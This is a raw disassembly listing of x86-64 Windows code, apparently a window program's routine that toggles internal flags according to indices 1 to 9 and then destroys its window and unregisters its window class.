jne 0x14004ddc1
cmp byte [rsp + 0x65], 0
je 0x14004ddc1
test r14b, r14b
jmp 0x14004dd50
movzx eax, byte [0x1402053b2]
mov edx, dword [0x14020533c]
cmp edx, 8
jne 0x14004dddf
cmp byte [rsp + 0x66], 0
je 0x14004ddf9
test r15b, r15b
jmp 0x14004ddee
cmp edx, 9
jne 0x14004ddf9
cmp byte [rsp + 0x67], 0
je 0x14004ddf9
test r12b, r12b
jne 0x14004ddf9
test al, al
sete byte [0x1402053b2]
mov r8d, dword [0x1402053cc]
cmp r8d, 1
jne 0x14004de2d
test r13b, r13b
je 0x14004dec6
test r9b, r9b
jne 0x14004dec6
cmp byte [0x1402053b5], 0
sete cl
mov byte [0x1402053b5], cl
jmp 0x14004decd
cmp r8d, 2
jne 0x14004de40
test cl, cl
je 0x14004dec6
test r10b, r10b
jmp 0x14004de12
cmp r8d, 3
jne 0x14004de52
cmp byte [rsp + 0x61], 0
je 0x14004dec6
test r11b, r11b
jmp 0x14004de12
cmp r8d, 4
jne 0x14004de63
cmp byte [rsp + 0x62], 0
je 0x14004dec6
test bl, bl
jmp 0x14004de12
cmp r8d, 5
jne 0x14004de75
cmp byte [rsp + 0x63], 0
je 0x14004dec6
test dil, dil
jmp 0x14004de12
cmp r8d, 6
jne 0x14004de87
cmp byte [rsp + 0x64], 0
je 0x14004dec6
test sil, sil
jmp 0x14004de12
cmp r8d, 7
jne 0x14004de9c
cmp byte [rsp + 0x65], 0
je 0x14004dec6
test r14b, r14b
jmp 0x14004de12
cmp r8d, 8
jne 0x14004deb1
cmp byte [rsp + 0x66], 0
je 0x14004dec6
test r15b, r15b
jmp 0x14004de12
cmp r8d, 9
jne 0x14004dec6
cmp byte [rsp + 0x67], 0
je 0x14004dec6
test r12b, r12b
jmp 0x14004de12
movzx ecx, byte [0x1402053b5]
cmp edx, 1
jne 0x14004defc
test r13b, r13b
je 0x14004e05b
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14004e060
cmp byte [0x1402053b3], r9b
sete byte [0x1402053b3]
jmp 0x14004e060
cmp edx, 2
jne 0x14004df2a
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14004e060
test r10b, r10b
jne 0x14004e060
cmp byte [0x1402053b3], r10b
sete byte [0x1402053b3]
jmp 0x14004e060
cmp edx, 3
jne 0x14004df5b
cmp byte [rsp + 0x61], 0
je 0x14004e05b
movzx edx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14004e060
cmp byte [0x1402053b3], r11b
sete byte [0x1402053b3]
jmp 0x14004e060
cmp edx, 4
jne 0x14004df8a
cmp byte [rsp + 0x62], 0
je 0x14004e05b
movzx edx, byte [rsp + 0x60]
test bl, bl
jne 0x14004e060
cmp byte [0x1402053b3], bl
sete byte [0x1402053b3]
jmp 0x14004e060
cmp edx, 5
jne 0x14004dfbb
cmp byte [rsp + 0x63], 0
je 0x14004e05b
movzx edx, byte [rsp + 0x60]
test dil, dil
jne 0x14004e060
cmp byte [0x1402053b3], dil
sete byte [0x1402053b3]
jmp 0x14004e060
cmp edx, 6
jne 0x14004dfe9
cmp byte [rsp + 0x64], 0
je 0x14004e05b
movzx edx, byte [rsp + 0x60]
test sil, sil
jne 0x14004e060
cmp byte [0x1402053b3], sil
sete byte [0x1402053b3]
jmp 0x14004e060
cmp edx, 7
jne 0x14004e00f
cmp byte [rsp + 0x65], 0
je 0x14004e05b
movzx edx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14004e060
cmp byte [0x1402053b3], r14b
sete byte [0x1402053b3]
jmp 0x14004e060
cmp edx, 8
jne 0x14004e035
cmp byte [rsp + 0x66], 0
je 0x14004e05b
movzx edx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14004e060
cmp byte [0x1402053b3], r15b
sete byte [0x1402053b3]
jmp 0x14004e060
cmp edx, 9
jne 0x14004e05b
cmp byte [rsp + 0x67], 0
je 0x14004e05b
movzx edx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14004e060
cmp byte [0x1402053b3], r12b
sete byte [0x1402053b3]
jmp 0x14004e060
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x140205334]
cmp eax, 1
jne 0x14004e07c
test r13b, r13b
je 0x14004e112
test r9b, r9b
jmp 0x14004e102
cmp eax, 2
jne 0x14004e08e
test dl, dl
je 0x14004e112
test r10b, r10b
jmp 0x14004e102
cmp eax, 3
jne 0x14004e09f
cmp byte [rsp + 0x61], 0
je 0x14004e112
test r11b, r11b
jmp 0x14004e102
cmp eax, 4
jne 0x14004e0af
cmp byte [rsp + 0x62], 0
je 0x14004e112
test bl, bl
jmp 0x14004e102
cmp eax, 5
jne 0x14004e0c0
cmp byte [rsp + 0x63], 0
je 0x14004e112
test dil, dil
jmp 0x14004e102
cmp eax, 6
jne 0x14004e0d1
cmp byte [rsp + 0x64], 0
je 0x14004e112
test sil, sil
jmp 0x14004e102
cmp eax, 7
jne 0x14004e0e2
cmp byte [rsp + 0x65], 0
je 0x14004e112
test r14b, r14b
jmp 0x14004e102
cmp eax, 8
jne 0x14004e0f3
cmp byte [rsp + 0x66], 0
je 0x14004e112
test r15b, r15b
jmp 0x14004e102
cmp eax, 9
jne 0x14004e112
cmp byte [rsp + 0x67], 0
je 0x14004e112
test r12b, r12b
jne 0x14004e112
cmp byte [0x1402053dc], 0
sete byte [0x1402053dc]
mov eax, dword [0x1402053ec]
cmp eax, 1
jne 0x14004e12e
test r13b, r13b
je 0x14004e1dd
test r9b, r9b
jmp 0x14004e1cd
cmp eax, 2
jne 0x14004e143
test dl, dl
je 0x14004e1dd
test r10b, r10b
jmp 0x14004e1cd
cmp eax, 3
jne 0x14004e158
cmp byte [rsp + 0x61], 0
je 0x14004e1dd
test r11b, r11b
jmp 0x14004e1cd
cmp eax, 4
jne 0x14004e168
cmp byte [rsp + 0x62], 0
je 0x14004e1dd
test bl, bl
jmp 0x14004e1cd
cmp eax, 5
jne 0x14004e18b
cmp byte [rsp + 0x63], 0
je 0x14004e1dd
test dil, dil
jne 0x14004e1dd
cmp byte [0x1402053b6], dil
sete al
mov byte [0x1402053b6], al
jmp 0x14004e1e4
cmp eax, 6
jne 0x14004e19c
cmp byte [rsp + 0x64], 0
je 0x14004e1dd
test sil, sil
jmp 0x14004e1cd
cmp eax, 7
jne 0x14004e1ad
cmp byte [rsp + 0x65], 0
je 0x14004e1dd
test r14b, r14b
jmp 0x14004e1cd
cmp eax, 8
jne 0x14004e1be
cmp byte [rsp + 0x66], 0
je 0x14004e1dd
test r15b, r15b
jmp 0x14004e1cd
cmp eax, 9
jne 0x14004e1dd
cmp byte [rsp + 0x67], 0
je 0x14004e1dd
test r12b, r12b
jne 0x14004e1dd
cmp byte [0x1402053e0], 0
sete byte [0x1402053e0]
movzx eax, byte [0x1402053b6]
mov edx, dword [0x1402053d8]
cmp edx, 1
jne 0x14004e214
test r13b, r13b
je 0x14004e344
movzx edx, byte [rsp + 0x60]
test r9b, r9b
jne 0x14004e349
test al, al
sete byte [0x1402053b6]
jmp 0x14004e349
cmp edx, 2
jne 0x14004e23d
movzx edx, byte [rsp + 0x60]
test dl, dl
je 0x14004e349
test r10b, r10b
jne 0x14004e349
test al, al
sete byte [0x1402053b6]
jmp 0x14004e349
cmp edx, 3
jne 0x14004e269
cmp byte [rsp + 0x61], 0
je 0x14004e344
movzx edx, byte [rsp + 0x60]
test r11b, r11b
jne 0x14004e349
test al, al
sete byte [0x1402053b6]
jmp 0x14004e349
cmp edx, 4
jne 0x14004e294
cmp byte [rsp + 0x62], 0
je 0x14004e344
movzx edx, byte [rsp + 0x60]
test bl, bl
jne 0x14004e349
test al, al
sete byte [0x1402053b6]
jmp 0x14004e349
cmp edx, 5
jne 0x14004e2c0
cmp byte [rsp + 0x63], 0
je 0x14004e344
movzx edx, byte [rsp + 0x60]
test dil, dil
jne 0x14004e349
test al, al
sete byte [0x1402053b6]
jmp 0x14004e349
cmp edx, 6
jne 0x14004e2e1
cmp byte [rsp + 0x64], 0
je 0x14004e344
movzx edx, byte [rsp + 0x60]
test sil, sil
jne 0x14004e349
test al, al
sete byte [0x1402053b6]
jmp 0x14004e349
cmp edx, 7
jne 0x14004e302
cmp byte [rsp + 0x65], 0
je 0x14004e344
movzx edx, byte [rsp + 0x60]
test r14b, r14b
jne 0x14004e349
test al, al
sete byte [0x1402053b6]
jmp 0x14004e349
cmp edx, 8
jne 0x14004e323
cmp byte [rsp + 0x66], 0
je 0x14004e344
movzx edx, byte [rsp + 0x60]
test r15b, r15b
jne 0x14004e349
test al, al
sete byte [0x1402053b6]
jmp 0x14004e349
cmp edx, 9
jne 0x14004e344
cmp byte [rsp + 0x67], 0
je 0x14004e344
movzx edx, byte [rsp + 0x60]
test r12b, r12b
jne 0x14004e349
test al, al
sete byte [0x1402053b6]
jmp 0x14004e349
movzx edx, byte [rsp + 0x60]
mov eax, dword [0x14022ad90]
cmp eax, 1
jne 0x14004e37e
test r13b, r13b
je 0x14004e4da
movzx eax, byte [rsp + 0x61]
test r9b, r9b
jne 0x14004e4df
cmp byte [0x1402053b4], r9b
sete byte [0x1402053b4]
jmp 0x14004e4df
cmp eax, 2
jne 0x14004e3ac
test dl, dl
je 0x14004e4da
movzx eax, byte [rsp + 0x61]
test r10b, r10b
jne 0x14004e4df
cmp byte [0x1402053b4], r10b
sete byte [0x1402053b4]
jmp 0x14004e4df
cmp eax, 3
jne 0x14004e3da
movzx eax, byte [rsp + 0x61]
test al, al
je 0x14004e4df
test r11b, r11b
jne 0x14004e4df
cmp byte [0x1402053b4], r11b
sete byte [0x1402053b4]
jmp 0x14004e4df
cmp eax, 4
jne 0x14004e409
cmp byte [rsp + 0x62], 0
je 0x14004e4da
movzx eax, byte [rsp + 0x61]
test bl, bl
jne 0x14004e4df
cmp byte [0x1402053b4], bl
sete byte [0x1402053b4]
jmp 0x14004e4df
cmp eax, 5
jne 0x14004e43a
cmp byte [rsp + 0x63], 0
je 0x14004e4da
movzx eax, byte [rsp + 0x61]
test dil, dil
jne 0x14004e4df
cmp byte [0x1402053b4], dil
sete byte [0x1402053b4]
jmp 0x14004e4df
cmp eax, 6
jne 0x14004e468
cmp byte [rsp + 0x64], 0
je 0x14004e4da
movzx eax, byte [rsp + 0x61]
test sil, sil
jne 0x14004e4df
cmp eax, 7
jne 0x14004e48e
cmp byte [rsp + 0x65], 0
je 0x14004e4da
cmp eax, 8
jne 0x14004e4b4
movzx eax, byte [rsp + 0x61]
cmp r8d, 1
jne 0x14004e4f6
call fcn.140045600
call fcn.140045950
xor ecx, ecx
call fcn.140006a60
call fcn.1400534b0
mov rcx, qword [0x140205390]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 0x300]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm15, xmmword [rsp + 0x2070]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x2080]
movaps xmm13, xmmword [rsp + 0x2090]
movaps xmm12, xmmword [rsp + 0x20a0]
movaps xmm11, xmmword [rsp + 0x20b0]
movaps xmm10, xmmword [rsp + 0x20c0]
movaps xmm9, xmmword [rsp + 0x20d0]
movaps xmm8, xmmword [rsp + 0x20e0]
movaps xmm7, xmmword [rsp + 0x20f0]
movaps xmm6, xmmword [rsp + 0x2100]
mov r15, qword [rsp + 0x2110]
mov r14, qword [rsp + 0x2118]
mov r13, qword [rsp + 0x2150]
mov rsi, qword [rsp + 0x2140]
mov rdi, qword [rsp + 0x2148]
add rsp, 0x2120
pop r12
pop rbx
pop rbp
ret